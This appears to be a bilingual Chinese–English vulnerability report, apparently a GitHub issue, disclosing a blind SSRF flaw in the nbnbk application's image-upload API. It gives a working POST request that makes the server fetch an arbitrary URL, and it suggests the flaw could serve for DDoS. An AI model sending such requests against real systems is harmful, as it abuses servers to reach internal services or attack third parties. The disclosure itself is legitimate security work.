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🛡️ SSRF vulnerability in nbnbk #4

Description

@en0th

nbnbk 存在SSRF漏洞

SSRF vulnerability in nbnbk

0x00 前言 Preface

该漏洞可以伪装服务器发送请求,但没有回显,危害较小,可以做为 DDOS 使用。

漏洞存在版本:default

This bug can disguise the server from sending requests, but it does not echo and is less harmful and can be used as a DDOS.

Vulnerability Existing Version: default

0x01 漏洞复现 Vulnerability Reproduction

POST /api/Image/curl_upload_image HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68

url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1

替换 url 来进行 SSRF 攻击,该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。
Replace url for `SSRF'attack, the vulnerability is not echoed. After sending the request, you can see that the server has already made an outgoing request.

image-20220304144417834

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